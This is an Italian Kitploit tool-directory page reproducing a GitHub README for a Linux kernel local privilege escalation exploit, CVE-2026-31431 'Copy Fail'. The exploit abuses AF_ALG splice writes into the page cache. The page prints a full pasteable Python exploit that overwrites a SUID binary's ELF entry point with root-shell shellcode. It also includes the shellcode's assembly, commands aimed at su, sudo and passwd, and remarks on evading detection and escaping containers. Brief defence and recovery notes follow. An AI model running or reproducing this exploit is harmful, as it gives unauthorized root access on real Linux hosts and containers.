Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Copy Fail — Exploit LPE universale. Offset ELF dinamico + sovrascrittura completa del binario, compatibile con Python 2/3 con fallback splice tramite ctypes | Kitploit
Strumenti/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Escalation di PrivilegiSicurezza dei ContenitoriFramework di ExploitAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingSviluppo PayloadBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Copy Fail — Exploit LPE universale. Offset ELF dinamico + sovrascrittura completa del binario, compatibile con Python 2/3 con fallback splice tramite ctypes

Vedi Repository
57133 mesi faRevisionato da Kitploit

CVE-2026-31431 "Copy Fail" — Exploit LPE Universale

Scrittura arbitraria di 4 byte nella page cache del kernel Linux → Escalation dei privilegi locali

Molteplici approcci di exploit: sovrascrittura dinamica dell'entry point ELF, sostituzione completa del binario, compatibile con Python 3.x con fallback splice via ctypes.

Cos'è?

CVE-2026-31431 è una vulnerabilità nel sottosistema crypto AF_ALG del kernel Linux. Abusando di splice() + decrittazione in-place di authencesn, un utente non privilegiato può scrivere 4 byte a un offset arbitrario nella page cache del kernel — la stessa cache usata per tutta la memoria mappata su file.

Questo significa:

  • Nessuna race condition — single-threaded, deterministico
  • Nessun privilegio speciale — funziona all'interno dei container Docker predefiniti (seccomp consente AF_ALG)
  • Nessuna dipendenza dalla versione del kernel — colpisce tutti i kernel dal 2017 a oggi
  • Modifica i file solo in memoria — il disco non viene toccato, il riavvio cancella ogni traccia

Approcci di Exploit

Questo repository fornisce tre strumenti che usano la stessa primitiva copy-fall di AF_ALG:

Entry point dinamico — Analizza l'header ELF a runtime per calcolare l'offset del file dell'entry point (p_offset + (e_entry - p_vaddr)), quindi scrive uno stub di shellcode. Nessun offset hardcoded — un singolo script funziona su qualsiasi binario SUID x86_64 indipendentemente dalla distribuzione o versione.

Sostituzione completa del binario — Sovrascrive il target dall'offset 0 con un payload ELF completo pre-costruito (compresso con zlib e incorporato nello script). Può colpire binari non-SUID eseguiti da processi privilegiati (cron job, servizi systemd, kube-proxy). Funziona con Python 2.

Verifica vulnerabilità — Verifica se il sistema target dispone di AF_ALG, authencesn e algif_aead prima di eseguire un exploit.

Avvio Rapido

Prerequisiti

  • Kernel Linux (qualsiasi versione da ~2017)
  • Python 3.x (per exploit.py; Python 2 supportato tramite poc_compatible.py)
  • Qualsiasi binario SUID-root (/usr/bin/su, /usr/bin/sudo, ecc.)

Riproduzione in una riga

root@kitploit:~
# Crea un container di test con un utente non privilegiato
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Poi, all'interno del container come testuser:

root@kitploit:~
# Prima: setuid(0) fallisce perché l'uid reale non è 0
/usr/local/bin/verify
# uid=1000 euid=0
# (esce normalmente, nessun root)

# Esegui l'exploit
python3 exploit.py /usr/local/bin/verify

# Dopo: entry point sovrascritto, lo shellcode ottiene root
# uid=0(root) gid=1000(testuser)

In una riga (senza trasferimento file)

Negli scenari reali spesso hai solo una shell grezza — niente scp, niente curl, niente wget. Questo metodo usa l'heredoc di cat per scrivere l'exploit direttamente nel terminale:

root@kitploit:~
# Opzione 1: esegui lo script shell
sh exploit-one-liner.sh /usr/local/bin/verify

# Opzione 2: incolla direttamente nel terminale (copia l'intero blocco)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Perché è importante: Gli ambienti container spesso mancano di strumenti di trasferimento file (scp, curl, wget). Il metodo heredoc richiede solo cat e python3 — disponibili ovunque.

Colpire Altri Binari SUID

Puoi sostituire /usr/local/bin/verify con qualsiasi binario SUID-root:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Avvertenza: Colpire binari SUID di sistema (come /usr/bin/su) influisce su tutti gli utenti del sistema. Il binario diventa inutilizzabile finché la page cache non viene cancellata. Sulla macchina host, qualsiasi utente che esegue su otterrebbe una shell root.

Su un sistema condiviso/produttivo, questo è immediatamente evidente — su andrà in crash o genererà shell inaspettate per tutti. Usa verify.c per test sicuri.

Recupero

L'exploit modifica solo la page cache (memoria), non il disco. Opzioni di recupero:

root@kitploit:~
# Sull'host (dopo il test nel container):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verifica il recupero:
xxd -l 8 /usr/bin/su
# Dovrebbe mostrare: 7f45 4c46 (.ELF)

Nota: All'interno di un container predefinito (non privilegiato), echo 3 > /proc/sys/vm/drop_caches fallisce con Read-only file system — richiede accesso all'host o la distruzione del container.

Superficie di Attacco

Come Funziona

La Vulnerabilità

L'algoritmo AEAD authencesn del kernel ha un bug nel suo percorso di decrittazione in-place:

  1. L'utente crea un socket AF_ALG con authencesn(hmac(sha256), cbc(aes))
  2. L'utente chiama splice() per alimentare i dati del file nel socket crypto — questo mappa le pagine della page cache direttamente nello scatterlist del kernel
  3. Durante la decrittazione, authencesn scrive 4 byte di seqno_lo dopo il tag di autenticazione
  4. Controllando la lunghezza dei dati associati e il layout dell'IV, l'attaccante controlla dove finiscono quei 4 byte

Risultato: scrittura arbitraria di 4 byte in qualsiasi file in page cache.

L'Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  Binario ELF (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← analizzato dinamicamente  │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← offset file calcolato     │
│          │ codice orig │                            │
│          │           │  ─── copy fall scrive ───→   │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

Quando il kernel carica il binario SUID, imposta euid=0, poi salta all'entry point.
L'entry point ora è il nostro shellcode → setuid(0) riesce → shell root.

Shellcode

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; terminatore nullo
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; filename
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 byte, 9 scritture copy-fall (4 byte ciascuna).

Perché è Importante

Sicurezza dei Container

I container Docker predefiniti non sono protetti da questo:

ProtezioneStato
Seccomp✅ AF_ALG consentito di default
User namespaces❌ Non usati nel Docker predefinito
AppArmor/SELinux❌ Non limita AF_ALG
Rimozione capability❌ Nessuna capability speciale richiesta

L'unica cosa che impedisce il container escape è l'isolamento della page cache per-mount di overlayfs. Ma una volta ottenuto root all'interno del container, si applicano le tecniche di escape standard (cgroup release_agent, docker.sock, token serviceaccount K8s, metadata cloud).

Difficoltà di Rilevamento

  • Il disco non viene mai modificato — le scritture nella page cache sono solo in memoria
  • Nessun nuovo file creato — l'exploit è un singolo script Python
  • Nessun modulo kernel caricato — puro abuso di syscall
  • Il riavvio cancella ogni prova — la page cache è volatile

Sistemi Colpiti

Ogni kernel Linux dalla conversione in-place di algif_aead (integrata ~2017), inclusi:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Container Docker (profilo seccomp predefinito)
  • Pod Kubernetes (configurazioni predefinite)
  • WSL2 (confermato)

Struttura dei File

root@kitploit:~
.
├── exploit.py              # Sovrascrittura dinamica dell'entry point ELF (Python 3.x)
├── exploit-one-liner.sh    # Versione incollabile (senza trasferimento file)
├── poc_compatible.py       # Sovrascrittura completa del binario ELF dall'offset 0 (Python 2/3, di h4ppy7ree)
├── poc_ctypes.py           # splice via ctypes per Python 3.0-3.9 (di h4ppy7ree)
├── check_cve.sh            # Verifica vulnerabilità (di h4ppy7ree)
├── verify/
│   └── verify.c            # Programma di verifica SUID per test
└── README.md               # Questo file

Difesa

  • Applica la patch del kernel — fix upstream disponibile
  • Seccomp: Blocca il dominio AF_ALG (socket(AF_ALG, ...) → errno)
  • AppArmor: Nega la creazione di socket af_alg
  • Hardening del kernel: CONFIG_CRYPTO_USER_API_AEAD=n
  • Monitoraggio: Controlla le syscall socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)

Crediti

  • Scoperta della vulnerabilità: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • Calcolo dinamico dell'offset & exploit universale: Questo lavoro
  • Approccio di sostituzione completa del binario & verifica vulnerabilità: h4ppy7ree (PR #1)

Disclaimer

Questo exploit è fornito solo per ricerca di sicurezza autorizzata e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità e non sono responsabili di qualsiasi uso improprio o danno causato da questo programma.

Licenza

MIT

Scarica lo strumento
Entry Point DinamicoSostituzione Completa del BinarioVerifica Vulnerabilità
Fileexploit.pypoc_compatible.pycheck_cve.sh
StrategiaSovrascrive l'entry point ELF con shellcodeSostituisce l'intero binario dall'offset 0Verifica se il target è vulnerabile
TargetQualsiasi binario SUID x86_64Qualsiasi binario (SUID o meno)N/D
Python3.x (tutte le versioni)2 / 3Bash
PayloadShellcode da 36 byteELF completo compresso con zlibN/D
AutoreQuesto lavoroh4ppy7reeh4ppy7ree
MetodoDoveComando
Cancella la page cacheHost (root)echo 3 > /proc/sys/vm/drop_caches
RiavvioOvunquereboot — la page cache è volatile
Container distruttoOvunquedocker rm — la page cache viene rilasciata con il container
VettoreFunziona?Dettagli
LPE (utente locale → root)✅ SìSovrascrive l'entry point del binario SUID
Container escape (predefinito)❌ NoIsolamento della page cache per-mount di overlayfs
Container escape (scrittura host)✅ SìScrittura tramite /proc/PID/root/ dall'host
Cross-container (scrittura host)✅ SìStesso inode → page cache condivisa del layer inferiore